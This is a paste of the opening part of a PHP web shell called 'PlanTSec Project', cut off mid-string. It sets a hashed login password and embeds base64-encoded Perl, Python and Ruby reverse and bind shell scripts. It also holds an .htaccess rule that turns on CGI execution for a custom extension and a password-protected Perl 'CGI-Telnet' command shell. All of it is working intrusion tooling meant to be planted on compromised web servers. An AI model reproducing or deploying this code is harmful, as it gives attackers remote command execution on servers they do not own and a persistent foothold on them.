· 6 years ago · Aug 24, 2019, 02:24 PM
1<?php
2## Codename : PlanTSec Project
3## Some Function From Con7ext Shell
4session_start();
5set_time_limit(0);
6error_reporting(0);
7date_default_timezone_set("Asia/Jakarta");
8$pass = "a9ae34012856a0f97e530102dfaa0f1d"; // rintod
9define("PERL_BC", "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7");
10define("PYTHON_BC", "IyEvdXNyL2Jpbi9weXRob24NCiNVc2FnZTogcHl0aG9uIGZpbGVuYW1lLnB5IEhPU1QgUE9SVA0KaW1wb3J0IHN5cywgc29ja2V0LCBvcywgc3VicHJvY2Vzcw0KaXBsbyA9IHN5cy5hcmd2WzFdDQpwb3J0bG8gPSBpbnQoc3lzLmFyZ3ZbMl0pDQpzb2NrZXQuc2V0ZGVmYXVsdHRpbWVvdXQoNjApDQpkZWYgcHliYWNrY29ubmVjdCgpOg0KICB0cnk6DQogICAgam1iID0gc29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pDQogICAgam1iLmNvbm5lY3QoKGlwbG8scG9ydGxvKSkNCiAgICBqbWIuc2VuZCgnJydcblB5dGhvbiBCYWNrQ29ubmVjdCBCeSBDb243ZXh0IC0gWGFpIFN5bmRpY2F0ZVxuVGhhbmtzIEdvb2dsZSBGb3IgUmVmZXJlbnNpXG5cbicnJykNCiAgICBvcy5kdXAyKGptYi5maWxlbm8oKSwwKQ0KICAgIG9zLmR1cDIoam1iLmZpbGVubygpLDEpDQogICAgb3MuZHVwMihqbWIuZmlsZW5vKCksMikNCiAgICBvcy5kdXAyKGptYi5maWxlbm8oKSwzKQ0KICAgIHNoZWxsID0gc3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pDQogIGV4Y2VwdCBzb2NrZXQudGltZW91dDoNCiAgICBwcmludCAiVGltT3V0Ig0KICBleGNlcHQgc29ja2V0LmVycm9yLCBlOg0KICAgIHByaW50ICJFcnJvciIsIGUNCnB5YmFja2Nvbm5lY3QoKQ==");
11define("RUBY_BC", "IyEvdXNyL2Jpbi9lbnYgcnVieQ0KIyBkZXZpbHpjMGRlLm9yZyAoYykgMjAxMg0KIw0KIyBiaW5kIGFuZCByZXZlcnNlIHNoZWxsDQojIGIzNzRrDQpyZXF1aXJlICdzb2NrZXQnDQpyZXF1aXJlICdwYXRobmFtZScNCg0KZGVmIHVzYWdlDQoJcHJpbnQgImJpbmQgOlxyXG4gIHJ1YnkgIiArIEZpbGUuYmFzZW5hbWUoX19GSUxFX18pICsgIiBbcG9ydF1cclxuIg0KCXByaW50ICJyZXZlcnNlIDpcclxuICBydWJ5ICIgKyBGaWxlLmJhc2VuYW1lKF9fRklMRV9fKSArICIgW3BvcnRdIFtob3N0XVxyXG4iDQplbmQNCg0KZGVmIHN1Y2tzDQoJc3Vja3MgPSBmYWxzZQ0KCWlmIFJVQllfUExBVEZPUk0uZG93bmNhc2UubWF0Y2goJ21zd2lufHdpbnxtaW5ndycpDQoJCXN1Y2tzID0gdHJ1ZQ0KCWVuZA0KCXJldHVybiBzdWNrcw0KZW5kDQoNCmRlZiByZWFscGF0aChzdHIpDQoJcmVhbCA9IHN0cg0KCWlmIEZpbGUuZXhpc3RzPyhzdHIpDQoJCWQgPSBQYXRobmFtZS5uZXcoc3RyKQ0KCQlyZWFsID0gZC5yZWFscGF0aC50b19zDQoJZW5kDQoJaWYgc3Vja3MNCgkJcmVhbCA9IHJlYWwuZ3N1YigvXC8vLCJcXCIpDQoJZW5kDQoJcmV0dXJuIHJlYWwNCmVuZA0KDQppZiBBUkdWLmxlbmd0aCA9PSAxDQoJaWYgQVJHVlswXSA9fiAvXlswLTldezEsNX0kLw0KCQlwb3J0ID0gSW50ZWdlcihBUkdWWzBdKQ0KCWVsc2UNCgkJdXNhZ2UNCgkJcHJpbnQgIlxyXG4qKiogZXJyb3IgOiBQbGVhc2UgaW5wdXQgYSB2YWxpZCBwb3J0XHJcbiINCgkJZXhpdA0KCWVuZA0KCXNlcnZlciA9IFRDUFNlcnZlci5uZXcoIiIsIHBvcnQpDQoJcyA9IHNlcnZlci5hY2NlcHQNCglwb3J0ID0gcy5wZWVyYWRkclsxXQ0KCW5hbWUgPSBzLnBlZXJhZGRyWzJdDQoJcy5wcmludCAiKioqIGNvbm5lY3RlZFxyXG4iDQoJcHV0cyAiKioqIGNvbm5lY3RlZCA6ICN7bmFtZX06I3twb3J0fVxyXG4iDQoJYmVnaW4NCgkJaWYgbm90IHN1Y2tzDQoJCQlmID0gcy50b19pDQoJCQlleGVjIHNwcmludGYoIi9iaW4vc2ggLWkgXDxcJiVkIFw+XCYlZCAyXD5cJiVkIixmLGYsZikNCgkJZWxzZQ0KCQkJcy5wcmludCAiXHJcbiIgKyByZWFscGF0aCgiLiIpICsgIj4iDQoJCQl3aGlsZSBsaW5lID0gcy5nZXRzDQoJCQkJcmFpc2UgZXJyb3JCcm8gaWYgbGluZSA9fiAvXmRpZVxyPyQvDQoJCQkJaWYgbm90IGxpbmUuY2hvbXAgPT0gIiINCgkJCQkJaWYgbGluZSA9fiAvY2QgLiovaQ0KCQkJCQkJbGluZSA9IGxpbmUuZ3N1YigvY2QgL2ksICcnKS5jaG9tcA0KCQkJCQkJaWYgRmlsZS5kaXJlY3Rvcnk/KGxpbmUpDQoJCQkJCQkJbGluZSA9IHJlYWxwYXRoKGxpbmUpDQoJCQkJCQkJRGlyLmNoZGlyKGxpbmUpDQoJCQkJCQllbmQNCgkJCQkJCXMucHJpbnQgIlxyXG4iICsgcmVhbHBhdGgoIi4iKSArICI+Ig0KCQkJCQllbHNpZiBsaW5lID1+IC9cdzouKi9pDQoJCQkJCQlpZiBGaWxlLmRpcmVjdG9yeT8obGluZS5jaG9tcCkNCgkJCQkJCQlEaXIuY2hkaXIobGluZS5jaG9tcCkNCgkJCQkJCWVuZA0KCQkJCQkJcy5wcmludCAiXHJcbiIgKyByZWFscGF0aCgiLiIpICsgIj4iDQoJCQkJCWVsc2UNCgkJCQkJCUlPLnBvcGVuKGxpbmUsInIiKXt8aW98cy5wcmludCBpby5yZWFkICsgIlxyXG4iICsgcmVhbHBhdGgoIi4iKSArICI+In0NCgkJCQkJZW5kDQoJCQkJZW5kDQoJCQllbmQNCgkJZW5kDQoJcmVzY3VlIGVycm9yQnJvDQoJCXB1dHMgIioqKiAje25hbWV9OiN7cG9ydH0gZGlzY29ubmVjdGVkIg0KCWVuc3VyZQ0KCQlzLmNsb3NlDQoJCXMgPSBuaWwNCgllbmQNCmVsc2lmIEFSR1YubGVuZ3RoID09IDINCglpZiBBUkdWWzBdID1+IC9eWzAtOV17MSw1fSQvDQoJCXBvcnQgPSBJbnRlZ2VyKEFSR1ZbMF0pDQoJCWhvc3QgPSBBUkdWWzFdDQoJZWxzaWYgQVJHVlsxXSA9fiAvXlswLTldezEsNX0kLw0KCQlwb3J0ID0gSW50ZWdlcihBUkdWWzFdKQ0KCQlob3N0ID0gQVJHVlswXQ0KCWVsc2UNCgkJdXNhZ2UNCgkJcHJpbnQgIlxyXG4qKiogZXJyb3IgOiBQbGVhc2UgaW5wdXQgYSB2YWxpZCBwb3J0XHJcbiINCgkJZXhpdA0KCWVuZA0KCXMgPSBUQ1BTb2NrZXQubmV3KCIje2hvc3R9IiwgcG9ydCkNCglwb3J0ID0gcy5wZWVyYWRkclsxXQ0KCW5hbWUgPSBzLnBlZXJhZGRyWzJdDQoJcy5wcmludCAiKioqIGNvbm5lY3RlZFxyXG4iDQoJcHV0cyAiKioqIGNvbm5lY3RlZCA6ICN7bmFtZX06I3twb3J0fSINCgliZWdpbg0KCQlpZiBub3Qgc3Vja3MNCgkJCWYgPSBzLnRvX2kNCgkJCWV4ZWMgc3ByaW50ZigiL2Jpbi9zaCAtaSBcPFwmJWQgXD5cJiVkIDJcPlwmJWQiLCBmLCBmLCBmKQ0KCQllbHNlDQoJCQlzLnByaW50ICJcclxuIiArIHJlYWxwYXRoKCIuIikgKyAiPiINCgkJCXdoaWxlIGxpbmUgPSBzLmdldHMNCgkJCQlyYWlzZSBlcnJvckJybyBpZiBsaW5lID1+IC9eZGllXHI/JC8NCgkJCQlpZiBub3QgbGluZS5jaG9tcCA9PSAiIg0KCQkJCQlpZiBsaW5lID1+IC9jZCAuKi9pDQoJCQkJCQlsaW5lID0gbGluZS5nc3ViKC9jZCAvaSwgJycpLmNob21wDQoJCQkJCQlpZiBGaWxlLmRpcmVjdG9yeT8obGluZSkNCgkJCQkJCQlsaW5lID0gcmVhbHBhdGgobGluZSkNCgkJCQkJCQlEaXIuY2hkaXIobGluZSkNCgkJCQkJCWVuZA0KCQkJCQkJcy5wcmludCAiXHJcbiIgKyByZWFscGF0aCgiLiIpICsgIj4iDQoJCQkJCWVsc2lmIGxpbmUgPX4gL1x3Oi4qL2kNCgkJCQkJCWlmIEZpbGUuZGlyZWN0b3J5PyhsaW5lLmNob21wKQ0KCQkJCQkJCURpci5jaGRpcihsaW5lLmNob21wKQ0KCQkJCQkJZW5kDQoJCQkJCQlzLnByaW50ICJcclxuIiArIHJlYWxwYXRoKCIuIikgKyAiPiINCgkJCQkJZWxzZQ0KCQkJCQkJSU8ucG9wZW4obGluZSwiciIpe3xpb3xzLnByaW50IGlvLnJlYWQgKyAiXHJcbiIgKyByZWFscGF0aCgiLiIpICsgIj4ifQ0KCQkJCQllbmQNCgkJCQllbmQNCgkJCWVuZA0KCQllbmQNCglyZXNjdWUgZXJyb3JCcm8NCgkJcHV0cyAiKioqICN7bmFtZX06I3twb3J0fSBkaXNjb25uZWN0ZWQiDQoJZW5zdXJlDQoJCXMuY2xvc2UNCgkJcyA9IG5pbA0KCWVuZA0KZWxzZQ0KCXVzYWdlDQoJZXhpdA0KZW5k");
12define("HTACCESS", "OPTIONS Indexes Includes ExecCGI FollowSymLinks \n AddType application/x-httpd-cgi .con7ext \n AddHandler cgi-script .con7ext \n AddHandler cgi-script .con7ext");
13define("CGI_1", "IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQp1c2UgTUlNRTo6QmFzZTY0Ow0KJFZlcnNpb249ICJDR0ktVGVsbmV0IFZlcnNpb24gMS4zIjsNCiRFZGl0UGVyc2lvbj0iPGZvbnQgc3R5bGU9J3RleHQtc2hhZG93OiAwcHggMHB4IDZweCByZ2IoMjU1LCAwLCAwKSwgMHB4IDBweCA1cHggcmdiKDMwMCwgMCwgMCksIDBweCAwcHggNXB4IHJnYigzMDAsIDAsIDApOyBjb2xvcjojZmZmZmZmOyBmb250LXdlaWdodDpib2xkOyc+YjM3NGsgLSBDR0ktVGVsbmV0PC9mb250PiI7DQoNCiRQYXNzd29yZCA9ICJ4YWlzeW5kaWNhdGUiOwkJCSMgQ2hhbmdlIHRoaXMuIFlvdSB3aWxsIG5lZWQgdG8gZW50ZXIgdGhpcyB0byBsb2dpbi4NCnN1YiBJc19XaW4oKXsNCgkkb3MgPSAmdHJpbSgkRU5WeyJTRVJWRVJfU09GVFdBUkUifSk7DQoJaWYoJG9zID1+IG0vd2luL2kpew0KCQlyZXR1cm4gMTsNCgl9DQoJZWxzZXsNCgkJcmV0dXJuIDA7DQoJfQ0KfQ0KJFdpbk5UID0gJklzX1dpbigpOwkJCQkjIFlvdSBuZWVkIHRvIGNoYW5nZSB0aGUgdmFsdWUgb2YgdGhpcyB0byAxIGlmDQoJCQkJCQkJCSMgeW91J3JlIHJ1bm5pbmcgdGhpcyBzY3JpcHQgb24gYSBXaW5kb3dzIE5UDQoJCQkJCQkJCSMgbWFjaGluZS4gSWYgeW91J3JlIHJ1bm5pbmcgaXQgb24gVW5peCwgeW91DQoJCQkJCQkJCSMgY2FuIGxlYXZlIHRoZSB2YWx1ZSBhcyBpdCBpcy4NCg0KJE5UQ21kU2VwID0gIiYiOwkJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcw0KCQkJCQkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFdpbmRvd3MgTlQuDQoNCiRVbml4Q21kU2VwID0gIjsiOwkJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcw0KCQkJCQkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFVuaXguDQoNCiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMTAwMDA7CSMgVGltZSBpbiBzZWNvbmRzIGFmdGVyIGNvbW1hbmRzIHdpbGwgYmUga2lsbGVkDQoJCQkJCQkJCSMgRG9uJ3Qgc2V0IHRoaXMgdG8gYSB2ZXJ5IGxhcmdlIHZhbHVlLiBUaGlzIGlzDQoJCQkJCQkJCSMgdXNlZnVsIGZvciBjb21tYW5kcyB0aGF0IG1heSBoYW5nIG9yIHRoYXQNCgkJCQkJCQkJIyB0YWtlIHZlcnkgbG9uZyB0byBleGVjdXRlLCBsaWtlICJmaW5kIC8iLg0KCQkJCQkJCQkjIFRoaXMgaXMgdmFsaWQgb25seSBvbiBVbml4IHNlcnZlcnMuIEl0IGlzDQoJCQkJCQkJCSMgaWdub3JlZCBvbiBOVCBTZXJ2ZXJzLg0KDQokU2hvd0R5bmFtaWNPdXRwdXQgPSAxOwkJCSMgSWYgdGhpcyBpcyAxLCB0aGVuIGRhdGEgaXMgc2VudCB0byB0aGUNCgkJCQkJCQkJIyBicm93c2VyIGFzIHNvb24gYXMgaXQgaXMgb3V0cHV0LCBvdGhlcndpc2UNCgkJCQkJCQkJIyBpdCBpcyBidWZmZXJlZCBhbmQgc2VuZCB3aGVuIHRoZSBjb21tYW5kDQoJCQkJCQkJCSMgY29tcGxldGVzLiBUaGlzIGlzIHVzZWZ1bCBmb3IgY29tbWFuZHMgbGlrZQ0KCQkJCQkJCQkjIHBpbmcsIHNvIHRoYXQgeW91IGNhbiBzZWUgdGhlIG91dHB1dCBhcyBpdA0KCQkJCQkJCQkjIGlzIGJlaW5nIGdlbmVyYXRlZC4NCg0KIyBET04nVCBDSEFOR0UgQU5ZVEhJTkcgQkVMT1cgVEhJUyBMSU5FIFVOTEVTUyBZT1UgS05PVyBXSEFUIFlPVSdSRSBET0lORyAhIQ0KDQokQ21kU2VwID0gKCRXaW5OVCA/ICROVENtZFNlcCA6ICRVbml4Q21kU2VwKTsNCiRDbWRQd2QgPSAoJFdpbk5UID8gImNkIiA6ICJwd2QiKTsNCiRQYXRoU2VwID0gKCRXaW5OVCA/ICJcXCIgOiAiLyIpOw0KJFJlZGlyZWN0b3IgPSAoJFdpbk5UID8gIiAyPiYxIDE+JjIiIDogIiAxPiYxIDI+JjEiKTsNCiRjb2xzPSAxNTA7DQokcm93cz0gMjY7DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFJlYWRzIHRoZSBpbnB1dCBzZW50IGJ5IHRoZSBicm93c2VyIGFuZCBwYXJzZXMgdGhlIGlucHV0IHZhcmlhYmxlcy4gSXQNCiMgcGFyc2VzIEdFVCwgUE9TVCBhbmQgbXVsdGlwYXJ0L2Zvcm0tZGF0YSB0aGF0IGlzIHVzZWQgZm9yIHVwbG9hZGluZyBmaWxlcy4NCiMgVGhlIGZpbGVuYW1lIGlzIHN0b3JlZCBpbiAkaW57J2YnfSBhbmQgdGhlIGRhdGEgaXMgc3RvcmVkIGluICRpbnsnZmlsZWRhdGEnfS4NCiMgT3RoZXIgdmFyaWFibGVzIGNhbiBiZSBhY2Nlc3NlZCB1c2luZyAkaW57J3Zhcid9LCB3aGVyZSB2YXIgaXMgdGhlIG5hbWUgb2YNCiMgdGhlIHZhcmlhYmxlLiBOb3RlOiBNb3N0IG9mIHRoZSBjb2RlIGluIHRoaXMgZnVuY3Rpb24gaXMgdGFrZW4gZnJvbSBvdGhlciBDR0kNCiMgc2NyaXB0cy4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBSZWFkUGFyc2UgDQp7DQoJbG9jYWwgKCppbikgPSBAXyBpZiBAXzsNCglsb2NhbCAoJGksICRsb2MsICRrZXksICR2YWwpOw0KCQ0KCSRNdWx0aXBhcnRGb3JtRGF0YSA9ICRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvOw0KDQoJaWYoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAiR0VUIikNCgl7DQoJCSRpbiA9ICRFTlZ7J1FVRVJZX1NUUklORyd9Ow0KCX0NCgllbHNpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJQT1NUIikNCgl7DQoJCWJpbm1vZGUoU1RESU4pIGlmICRNdWx0aXBhcnRGb3JtRGF0YSAmICRXaW5OVDsNCgkJcmVhZChTVERJTiwgJGluLCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsNCgl9DQoNCgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBkYXRhDQoJaWYoJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC8pDQoJew0KCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZlciB0byBSRkMxODY3IA0KCQlAbGlzdCA9IHNwbGl0KC8kQm91bmRhcnkvLCAkaW4pOyANCgkJJEhlYWRlckJvZHkgPSAkbGlzdFsxXTsNCgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOw0KCQkkSGVhZGVyID0gJGA7DQoJCSRCb2R5ID0gJCc7DQogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMgdGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlDQoJCSRpbnsnZmlsZWRhdGEnfSA9ICRCb2R5Ow0KCQkkSGVhZGVyID1+IC9maWxlbmFtZT1cIiguKylcIi87IA0KCQkkaW57J2YnfSA9ICQxOyANCgkJJGlueydmJ30gPX4gcy9cIi8vZzsNCgkJJGlueydmJ30gPX4gcy9ccy8vZzsNCg0KCQkjIHBhcnNlIHRyYWlsZXINCgkJZm9yKCRpPTI7ICRsaXN0WyRpXTsgJGkrKykNCgkJeyANCgkJCSRsaXN0WyRpXSA9fiBzL14uK25hbWU9JC8vOw0KCQkJJGxpc3RbJGldID1+IC9cIihcdyspXCIvOw0KCQkJJGtleSA9ICQxOw0KCQkJJHZhbCA9ICQnOw0KCQkJJHZhbCA9fiBzLyheKFxyXG5cclxufFxuXG4pKXwoXHJcbiR8XG4kKS8vZzsNCgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkaW57JGtleX0gPSAkdmFsOyANCgkJfQ0KCX0NCgllbHNlICMgc3RhbmRhcmQgcG9zdCBkYXRhICh1cmwgZW5jb2RlZCwgbm90IG11bHRpcGFydCkNCgl7DQoJCUBpbiA9IHNwbGl0KC8mLywgJGluKTsNCgkJZm9yZWFjaCAkaSAoMCAuLiAkI2luKQ0KCQl7DQoJCQkkaW5bJGldID1+IHMvXCsvIC9nOw0KCQkJKCRrZXksICR2YWwpID0gc3BsaXQoLz0vLCAkaW5bJGldLCAyKTsNCgkJCSRrZXkgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOw0KCQkJJGlueyRrZXl9IC49ICJcMCIgaWYgKGRlZmluZWQoJGlueyRrZXl9KSk7DQoJCQkkaW57JGtleX0gLj0gJHZhbDsNCgkJfQ0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgUGFnZSBIZWFkZXINCiMgQXJndW1lbnQgMTogRm9ybSBpdGVtIG5hbWUgdG8gd2hpY2ggZm9jdXMgc2hvdWxkIGJlIHNldA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50UGFnZUhlYWRlcg0Kew0KCSRFbmNvZGVkQ3VycmVudERpciA9ICRDdXJyZW50RGlyOw0KCSRFbmNvZGVkQ3VycmVudERpciA9fiBzLyhbXmEtekEtWjAtOV0pLyclJy51bnBhY2soIkgqIiwkMSkvZWc7DQoJbXkgJGRpciA9JEN1cnJlbnREaXI7DQoJJGRpcj1+IHMvXFwvXFxcXC9nOw0KCXByaW50ICJDb250ZW50LXR5cGU6IHRleHQvaHRtbFxuXG4iOw0KCXByaW50IDw8RU5EOw0KPGh0bWw+DQo8aGVhZD4NCjxtZXRhIGh0dHAtZXF1aXY9ImNvbnRlbnQtdHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04Ij4NCjx0aXRsZT5IYWNzdWdpYTwvdGl0bGU+DQoNCiRIdG1sTWV0YUhlYWRlcg0KDQo8L2hlYWQ+DQo8c3R5bGU+DQpib2R5ew0KZm9udDogMTBwdCBWZXJkYW5hOw0KfQ0KdHIgew0KQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItVE9QOiAgICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7DQpjb2xvcjogI2ZmOTkwMDsNCn0NCnRkIHsNCkJPUkRFUi1SSUdIVDogICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1CT1RUT006ICMzZTNlM2UgMXB4IHNvbGlkOw0KY29sb3I6ICMyQkE4RUM7DQpmb250OiAxMHB0IFZlcmRhbmE7DQp9DQoNCnRhYmxlIHsNCkJPUkRFUi1SSUdIVDogICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1CT1RUT006ICMzZTNlM2UgMXB4IHNvbGlkOw0KQkFDS0dST1VORC1DT0xPUjogIzExMTsNCn0NCg0KDQppbnB1dCB7DQpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsNCkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOw0KZm9udDogMTBwdCBWZXJkYW5hOw0KY29sb3I6ICNmZjk5MDA7DQp9DQoNCmlucHV0LnN1Ym1pdCB7DQp0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47DQpjb2xvcjogI0ZGRkZGRjsNCmJvcmRlci1jb2xvcjogIzAwOTkwMDsNCn0NCg0KY29kZSB7DQpib3JkZXIJCQk6IGRhc2hlZCAwcHggIzMzMzsNCkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOw0KZm9udDogMTBwdCBWZXJkYW5hIGJvbGQ7DQpjb2xvcjogd2hpbGU7DQp9DQoNCnJ1biB7DQpib3JkZXIJCQk6IGRhc2hlZCAwcHggIzMzMzsNCmZvbnQ6IDEwcHQgVmVyZGFuYSBib2xkOw0KY29sb3I6ICNGRjAwQUE7DQp9DQoNCnRleHRhcmVhIHsNCkJPUkRFUi1SSUdIVDogICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1CT1RUT006ICMzZTNlM2UgMXB4IHNvbGlkOw0KQkFDS0dST1VORC1DT0xPUjogIzFiMWIxYjsNCmZvbnQ6IEZpeGVkc3lzIGJvbGQ7DQpjb2xvcjogI2FhYTsNCn0NCkE6bGluayB7DQoJQ09MT1I6ICMyQkE4RUM7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KfQ0KQTp2aXNpdGVkIHsNCglDT0xPUjogIzJCQThFQzsgVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQpBOmhvdmVyIHsNCgl0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47DQoJY29sb3I6ICNmZjk5MDA7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KfQ0KQTphY3RpdmUgew0KCWNvbG9yOiBSZWQ7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KfQ0KDQoubGlzdGRpciB0cjpob3ZlcnsNCgliYWNrZ3JvdW5kOiAjNDQ0Ow0KfQ0KLmxpc3RkaXIgdHI6aG92ZXIgdGR7DQoJYmFja2dyb3VuZDogIzQ0NDsNCgl0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47DQoJY29sb3I6ICNGRkZGRkY7IFRFWFQtREVDT1JBVElPTjogbm9uZTsNCn0NCi5ub3RsaW5lew0KCWJhY2tncm91bmQ6ICMxMTE7DQp9DQoubGluZXsNCgliYWNrZ3JvdW5kOiAjMjIyOw0KfQ0KPC9zdHlsZT4NCjxzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPg0KZnVuY3Rpb24gY2htb2RfZm9ybShpLGZpbGUpDQp7DQoJLyp2YXIgYWpheD0nYWpheF9Qb3N0RGF0YSgiRm9ybVBlcm1zXycraSsnIiwiJFNjcmlwdExvY2F0aW9uIiwiUmVzcG9uc2VEYXRhIik7IHJldHVybiBmYWxzZTsnOyovDQoJdmFyIGFqYXg9IiI7DQoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVQZXJtc18iK2kpLmlubmVySFRNTD0iPGZvcm0gbmFtZT1Gb3JtUGVybXNfIiArIGkrICIgYWN0aW9uPScgbWV0aG9kPSdQT1NUJz48aW5wdXQgaWQ9dGV4dF8iICsgaSArICIgIG5hbWU9Y2htb2QgdHlwZT10ZXh0IHNpemU9NSAvPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyBvbmNsaWNrPSciICsgYWpheCArICInIHZhbHVlPU9LPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJGRpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOw0KCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJ0ZXh0XyIgKyBpKS5mb2N1cygpOw0KfQ0KZnVuY3Rpb24gcm1fY2htb2RfZm9ybShyZXNwb25zZSxpLHBlcm1zLGZpbGUpDQp7DQoJcmVzcG9uc2UuaW5uZXJIVE1MID0gIjxzcGFuIG9uY2xpY2s9XFxcImNobW9kX2Zvcm0oIiArIGkgKyAiLCciKyBmaWxlKyAiJylcXFwiID4iKyBwZXJtcyArIjwvc3Bhbj48L3RkPiI7DQp9DQpmdW5jdGlvbiByZW5hbWVfZm9ybShpLGZpbGUsZikNCnsNCgl2YXIgYWpheD0iIjsNCglmLnJlcGxhY2UoL1xcXFwvZywiXFxcXFxcXFwiKTsNCgl2YXIgYmFjaz0icm1fcmVuYW1lX2Zvcm0oIitpKyIsXFxcIiIrZmlsZSsiXFxcIixcXFwiIitmKyJcXFwiKTsgcmV0dXJuIGZhbHNlOyI7DQoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpK